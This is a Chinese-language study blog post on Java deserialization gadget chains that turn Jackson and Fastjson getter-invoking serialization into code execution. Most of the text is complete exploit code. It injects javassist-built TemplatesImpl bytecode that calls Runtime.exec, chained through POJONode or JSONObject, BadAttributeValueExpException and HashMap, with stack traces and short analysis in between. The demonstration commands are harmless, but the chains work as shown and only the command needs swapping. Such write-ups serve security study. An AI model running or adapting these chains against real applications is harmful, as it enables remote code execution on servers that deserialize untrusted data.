jackson
0x01 demo
佬的文章,菜鸟的拿来主义。
链接
https://www.viewofthai.link/2023/08/08/jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A6%E5%8F%91getter%E6%96%B9%E6%B3%95%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%88%86%E6%9E%90/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package com.jsonser;
import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper;
public class jacksonTest { public static class Message { int code; String detail; Object data;
public Message() { }
public void setCode(int code) { this.code = code; }
public void setDetail(String detail) { this.detail = detail; }
public void setData(Object data) { this.data = data; }
public int getCode() { System.out.println("getCode"); return this.code; }
public String getDetail() { System.out.println("getDetail"); return this.detail; }
public Object getData() { System.out.println(this); return this.data; }
public Message(int code, String detail) { this.code = code; this.detail = detail; }
public Message(int code, String detail, Object data) { this.code = code; this.detail = detail; this.data = data; } } public static void main(String[] args) throws JsonProcessingException {
Message message = new Message(); message.setCode(114514); message.setDetail("thai want to test jackson");
ObjectMapper objectMapper = new ObjectMapper(); String s = objectMapper.writeValueAsString(message);
System.out.println("jackon string: " + s);
} }
|
可以看见Jackson在序列化,会调用javaBean的所有getter方法。
0x02. 人心浮躁,本人只学剑招,瞎分析
打一个断点
1 2 3 4 5 6 7 8 9 10 11 12 13
| getData:38, jacksonTest$Message (com.jsonser) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser) serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std) serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser) _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) _writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind) writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind) main:60, jacksonTest (com.jsonser)
|
DefaultSerializerProvider#serializeValue
通过findTypedValueSerializer
来从缓存中获取序列化器得到BeanSerializer。然后进行序列化
然后来到BeanSerializer#serialize
1
| BeanSerializerBase#serializeFields
|
Bean类中的所有属性值的写入
最后是能够调用对应属性值的getter方法进行赋值。
0x03 构造链子
通过上面分析,控制BeanSerializer,就可以对Bean类中的所有属性值进行getter。
writeValueAsString是jackson的反序列化入口。
所以找一个能触发writeValueAsString的就行。
com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString
com.fasterxml.jackson.databind.node.BaseJsonNode#toString
所以要早一个可以序列化,然后触发BaseJsonNode#toString()。
网上的找到一个
1
| com.fasterxml.jackson.databind.node#POJONode
|
可以他继承ValueNode,
POJONode,ValueNode,都没有tostring()方法,所以POJONode.tostring会触发BaseJsonNode.tostring()
最后完成序列化触发getter。
1
| POJONode#toString -> InternalNodeMapper#nodeToString -> ObjectWriter.writeValueAsString
|
0x04 exp
在写入序列化时会进行判断是否实现了writeReplace
方法
OJONode
的父类BaseJsonNode
中就实现了这个方法,在这个方法的调用过程中抛出了异常,使得序列化过程中断
我们可以通过删除这个方法来跳过这个过程,进而成功的序列化。
所以使用javassist删除就好
1 2 3 4 5 6 7
| ClassPool pool1 = ClassPool.getDefault(); CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null); ClassPool aDefault = ClassPool.getDefault();
|
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| package com.jsonser;
import com.alibaba.fastjson.JSONObject; import com.fasterxml.jackson.databind.node.ArrayNode; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.rowset.JdbcRowSetImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtMethod;
import javax.management.BadAttributeValueExpException; import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import javax.management.remote.rmi.RMIServer; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.sql.DatabaseMetaData; import java.util.ArrayList; import java.util.HashMap;
public class jackson { public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; }
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a calculator\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", bytes); setFieldValue(templates, "_name", "xx"); setFieldValue(templates, "_class", null);
try {
ClassPool pool1 = ClassPool.getDefault(); CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null); ClassPool aDefault = ClassPool.getDefault(); CtClass ctClass = aDefault.get("com.sun.rowset.JdbcRowSetImpl");
} catch (Exception e) { }
JSONObject jsonObject = new JSONObject(); jsonObject.put("1",templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); setFieldValue(val,"val",jsonObject);
HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(templates,val);
try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./jackson")); outputStream.writeObject(hashMap); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./jackson")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
|
fastjson
0x01 demo偷学剑招
没实力直接抄代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| package com.jsonser;
import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper;
public class jacksonTest { public static class Message { int code; String detail; Object data;
public Message() { }
public void setCode(int code) { this.code = code; }
public void setDetail(String detail) { this.detail = detail; }
public void setData(Object data) { this.data = data; }
public int getCode() { System.out.println("getCode"); return this.code; }
public String getDetail() { System.out.println("getDetail"); return this.detail; }
public Object getData() { System.out.println(this); return this.data; }
public Message(int code, String detail) { this.code = code; this.detail = detail; }
public Message(int code, String detail, Object data) { this.code = code; this.detail = detail; this.data = data; } } public static void main(String[] args) throws JsonProcessingException {
Message message = new Message(); message.setCode(114514); message.setDetail("thai want to test jackson");
com.alibaba.fastjson.JSONArray.toJSON(message);
} }
|
在序列化,会调用javaBean的所有getter方法。
0x02 fastjson剑招瞎分析
jsonobject,jsonarray分析
1 2 3 4 5 6 7 8 9 10 11
| getData:40, jacksonTest$Message (com.jsonser) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) get:544, FieldInfo (com.alibaba.fastjson.util) getPropertyValue:153, FieldSerializer (com.alibaba.fastjson.serializer) getFieldValuesMap:797, JavaBeanSerializer (com.alibaba.fastjson.serializer) toJSON:1106, JSON (com.alibaba.fastjson) toJSON:1012, JSON (com.alibaba.fastjson) main:64, jacksonTest (com.jsonser)
|
com/alibaba/fastjson/JSON.java#toJSON()
com/alibaba/fastjson/serializer/JavaBeanSerializer.java#getFieldValuesMap()
com/alibaba/fastjson/serializer/FieldSerializer.java#getPropertyValue
com/alibaba/fastjson/util/FieldInfo.java#get()
最后对里面的所有javabean属性值invoke。
json 调用(看不懂,贴流程吧)
1 2 3 4 5 6 7
| getData:40, jacksonTest$Message (com.jsonser) write:-1, ASMSerializer_1_Message (com.alibaba.fastjson.serializer) write:285, JSONSerializer (com.alibaba.fastjson.serializer) toJSONString:758, JSON (com.alibaba.fastjson) toJSONString:696, JSON (com.alibaba.fastjson) toJSONString:661, JSON (com.alibaba.fastjson) main:64, jacksonTest (com.jsonser)
|
Json.toString()细节分析
com/alibaba/fastjson/JSON.java#toJSONString()
对out,config赋值。
然后调用write处理传入的object
com/alibaba/fastjson/serializer/JSONSerializer.java#write()
进过一系列操作创建createJavaBeanSerializer
com/alibaba/fastjson/serializer/SerializeConfig.java#createJavaBeanSerializer()
从class获取所有bean属性值,然后传入createJavaBeanSerializer(beanInfo)
com/alibaba/fastjson/serializer/SerializeConfig.java#createJavaBeanSerializer(beanInfo)
然后得到bean中field,bean中的method
自后调用createASMSerializer(beanInfo)
com/alibaba/fastjson/serializer/SerializeConfig.java#createASMSerializer(SerializeBeanInfo beanInfo)
调用
com/alibaba/fastjson/serializer/ASMSerializerFactory.javacreateJavaBeanSerializer(SerializeBeanInfo beanInfo)
然后获取对象getters
后面看不懂,总结就是序列化会调用对象中的所有getters。
0x03 构造
只要找一个可以ser的类里面触发toJSONString就可以。
下面两个都继承Json,没有toString方法,所以调用两个类的toString,就回触发Json的toString,进而触发toJSONString。
0x04 exp
找一个readObject触发toString方法。然后把触发对象改为JSONObject或者JSONArray就行
cc5的前半就满足这个条件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package com.jsonser;
import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap;
public class fastjson { public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass cmd = pool.makeClass("cmd"); cmd.setSuperclass(pool.get(AbstractTranslet.class.getName())); String Command ="java.lang.Runtime.getRuntime().exec(\"open .\");"; cmd.makeClassInitializer().insertBefore(Command); cmd.toClass();
byte[][] bytes = new byte[][]{cmd.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", bytes); setFieldValue(templates, "_name", "123");
JSONObject jsonObject = new JSONObject(); jsonObject.put("1",templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); setFieldValue(val,"val",jsonObject);
HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(templates,val);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); ois.readObject(); } }
|
剑招学习完毕。脑子不够用,驻场了。。。
偷学剑招(佬文链接)
https://xz.aliyun.com/t/12509
https://xz.aliyun.com/t/12755
https://www.viewofthai.link/2023/08/08/jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A6%E5%8F%91getter%E6%96%B9%E6%B3%95%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%88%86%E6%9E%90/
http://www.bmth666.cn/2022/03/11/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRome%E9%93%BE/
https://su18.org/post/ysoserial-su18-5/#objectbean
https://tttang.com/archive/1701/#toc_beancomparator